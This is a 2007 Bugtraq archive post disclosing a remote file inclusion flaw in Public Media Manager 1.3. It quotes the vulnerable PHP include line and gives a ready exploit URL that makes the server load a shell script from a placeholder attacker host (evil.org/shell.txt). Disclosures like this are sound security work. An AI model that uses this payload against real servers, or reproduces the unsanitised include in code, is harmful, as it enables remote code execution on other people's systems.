Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:

bugtraq logo Bugtraq mailing list archives

Public Media Manager <= 1.3 Remote File Inclusion Vulnerability
From: 0in.email () gmail com
Date: 29 Sep 2007 06:08:03 -0000
#f0und bY 0in
#Contact: 0in.email () gmail com
#Download:http://pmm-cms.sourceforge.net/
#Greetings to:All Dark-Coders team #members:Die-angel,Slim,Umbro
#and other friends #Joker186,Artysta,Kaja,Wojto111,Rade0n 
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";

Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt?

Orginal first post & exploit: http://milw0rm.com/exploits/4465

  By Date           By Thread  

Current thread:
  • Public Media Manager <= 1.3 Remote File Inclusion Vulnerability 0in . email (Sep 29)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]